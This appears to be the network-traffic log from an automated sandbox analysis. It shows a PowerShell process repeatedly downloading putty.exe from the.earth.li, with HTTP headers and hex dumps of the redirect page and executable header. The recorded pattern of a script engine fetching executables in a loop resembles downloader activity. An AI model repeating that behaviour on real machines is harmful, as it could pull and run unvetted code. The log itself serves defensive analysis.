                                                                                                                                                  2022-12-04 11:06:09 UTC1444INData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 68 65 2e 65 61 72 74 68 2e 6c 69 2f 7e 73 67 74 61 74 68 61 6d 2f 70 75 74 74 79 2f 30 2e 37 38 2f 77 33 32 2f 70 75 74 74 79 2e 65 78 65 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20
                                                                                                                                                  Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe">here</a>.</p><hr><address>Apache Server at


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  20192.168.2.34972093.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:08:01 UTC1523OUTGET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                  2022-12-04 11:08:01 UTC1523INHTTP/1.1 302 Found
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:08:01 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Location: https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe
                                                                                                                                                  Content-Length: 302
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                  2022-12-04 11:08:01 UTC1524INData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 68 65 2e 65 61 72 74 68 2e 6c 69 2f 7e 73 67 74 61 74 68 61 6d 2f 70 75 74 74 79 2f 30 2e 37 38 2f 77 33 32 2f 70 75 74 74 79 2e 65 78 65 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20
                                                                                                                                                  Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe">here</a>.</p><hr><address>Apache Server at


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  21192.168.2.34972193.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:08:01 UTC1524OUTGET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  2022-12-04 11:08:01 UTC1524INHTTP/1.1 200 OK
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:08:01 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Last-Modified: Fri, 28 Oct 2022 17:30:02 GMT
                                                                                                                                                  ETag: "168b28-5ec1b9b96afd8"
                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                  Content-Length: 1477416
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: application/x-msdos-program
                                                                                                                                                  2022-12-04 11:08:01 UTC1524INData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 08 00 85 10 5c 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 52 0c 00 00 dc 09 00 00 00 00 00 36 e1 09 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 16 00 00 04 00 00 d4 29 17 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ce 0f 00 b4 00 00
                                                                                                                                                  Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL\cR6@)@X


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  22192.168.2.34972293.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:08:21 UTC1532OUTGET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                  2022-12-04 11:08:21 UTC1532INHTTP/1.1 302 Found
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:08:21 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Location: https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe
                                                                                                                                                  Content-Length: 302
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                  2022-12-04 11:08:21 UTC1532INData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 68 65 2e 65 61 72 74 68 2e 6c 69 2f 7e 73 67 74 61 74 68 61 6d 2f 70 75 74 74 79 2f 30 2e 37 38 2f 77 33 32 2f 70 75 74 74 79 2e 65 78 65 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20
                                                                                                                                                  Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe">here</a>.</p><hr><address>Apache Server at


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  23192.168.2.34972393.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:08:21 UTC1533OUTGET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  2022-12-04 11:08:21 UTC1533INHTTP/1.1 200 OK
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:08:21 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Last-Modified: Fri, 28 Oct 2022 17:30:02 GMT
                                                                                                                                                  ETag: "168b28-5ec1b9b96afd8"
                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                  Content-Length: 1477416
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: application/x-msdos-program
                                                                                                                                                  2022-12-04 11:08:21 UTC1533INData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 08 00 85 10 5c 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 52 0c 00 00 dc 09 00 00 00 00 00 36 e1 09 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 16 00 00 04 00 00 d4 29 17 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ce 0f 00 b4 00 00
                                                                                                                                                  Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL\cR6@)@X


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  24192.168.2.34972493.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:08:47 UTC1541OUTGET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                  2022-12-04 11:08:47 UTC1541INHTTP/1.1 302 Found
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:08:47 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Location: https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe
                                                                                                                                                  Content-Length: 302
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                  2022-12-04 11:08:47 UTC1541INData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 68 65 2e 65 61 72 74 68 2e 6c 69 2f 7e 73 67 74 61 74 68 61 6d 2f 70 75 74 74 79 2f 30 2e 37 38 2f 77 33 32 2f 70 75 74 74 79 2e 65 78 65 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20
                                                                                                                                                  Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe">here</a>.</p><hr><address>Apache Server at


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  25192.168.2.34972593.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:08:47 UTC1542OUTGET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  2022-12-04 11:08:47 UTC1542INHTTP/1.1 200 OK
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:08:47 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Last-Modified: Fri, 28 Oct 2022 17:30:02 GMT
                                                                                                                                                  ETag: "168b28-5ec1b9b96afd8"
                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                  Content-Length: 1477416
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: application/x-msdos-program
                                                                                                                                                  2022-12-04 11:08:47 UTC1542INData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 08 00 85 10 5c 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 52 0c 00 00 dc 09 00 00 00 00 00 36 e1 09 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 16 00 00 04 00 00 d4 29 17 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ce 0f 00 b4 00 00
                                                                                                                                                  Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL\cR6@)@X


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  26192.168.2.34972693.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:09:16 UTC1550OUTGET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                  2022-12-04 11:09:16 UTC1550INHTTP/1.1 302 Found
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:09:16 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Location: https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe
                                                                                                                                                  Content-Length: 302
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                  2022-12-04 11:09:16 UTC1550INData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 68 65 2e 65 61 72 74 68 2e 6c 69 2f 7e 73 67 74 61 74 68 61 6d 2f 70 75 74 74 79 2f 30 2e 37 38 2f 77 33 32 2f 70 75 74 74 79 2e 65 78 65 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20
                                                                                                                                                  Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe">here</a>.</p><hr><address>Apache Server at


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  27192.168.2.34972793.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:09:16 UTC1550OUTGET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  2022-12-04 11:09:16 UTC1551INHTTP/1.1 200 OK
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:09:16 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Last-Modified: Fri, 28 Oct 2022 17:30:02 GMT
                                                                                                                                                  ETag: "168b28-5ec1b9b96afd8"
                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                  Content-Length: 1477416
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: application/x-msdos-program
                                                                                                                                                  2022-12-04 11:09:16 UTC1551INData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 08 00 85 10 5c 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 52 0c 00 00 dc 09 00 00 00 00 00 36 e1 09 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 16 00 00 04 00 00 d4 29 17 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ce 0f 00 b4 00 00
                                                                                                                                                  Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL\cR6@)@X


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  28192.168.2.34972893.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:09:40 UTC1559OUTGET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                  2022-12-04 11:09:40 UTC1559INHTTP/1.1 302 Found
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:09:40 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Location: https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe
                                                                                                                                                  Content-Length: 302
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                  2022-12-04 11:09:40 UTC1559INData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 68 65 2e 65 61 72 74 68 2e 6c 69 2f 7e 73 67 74 61 74 68 61 6d 2f 70 75 74 74 79 2f 30 2e 37 38 2f 77 33 32 2f 70 75 74 74 79 2e 65 78 65 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20
                                                                                                                                                  Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe">here</a>.</p><hr><address>Apache Server at


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  29192.168.2.34972993.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:09:40 UTC1559OUTGET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  2022-12-04 11:09:40 UTC1559INHTTP/1.1 200 OK
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:09:40 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Last-Modified: Fri, 28 Oct 2022 17:30:02 GMT
                                                                                                                                                  ETag: "168b28-5ec1b9b96afd8"
                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                  Content-Length: 1477416
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: application/x-msdos-program
                                                                                                                                                  2022-12-04 11:09:40 UTC1560INData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 08 00 85 10 5c 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 52 0c 00 00 dc 09 00 00 00 00 00 36 e1 09 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 16 00 00 04 00 00 d4 29 17 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ce 0f 00 b4 00 00
                                                                                                                                                  Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL\cR6@)@X


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  3192.168.2.34970393.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:06:09 UTC1444OUTGET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  2022-12-04 11:06:09 UTC1444INHTTP/1.1 200 OK
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:06:09 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Last-Modified: Fri, 28 Oct 2022 17:30:02 GMT
                                                                                                                                                  ETag: "168b28-5ec1b9b96afd8"
                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                  Content-Length: 1477416
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: application/x-msdos-program
                                                                                                                                                  2022-12-04 11:06:09 UTC1445INData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 08 00 85 10 5c 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 52 0c 00 00 dc 09 00 00 00 00 00 36 e1 09 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 16 00 00 04 00 00 d4 29 17 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ce 0f 00 b4 00 00
                                                                                                                                                  Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL\cR6@)@X


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  30192.168.2.34973093.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:10:11 UTC1567OUTGET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                  2022-12-04 11:10:11 UTC1568INHTTP/1.1 302 Found
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:10:11 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Location: https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe
                                                                                                                                                  Content-Length: 302
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: text/html; charset=iso-8859-1
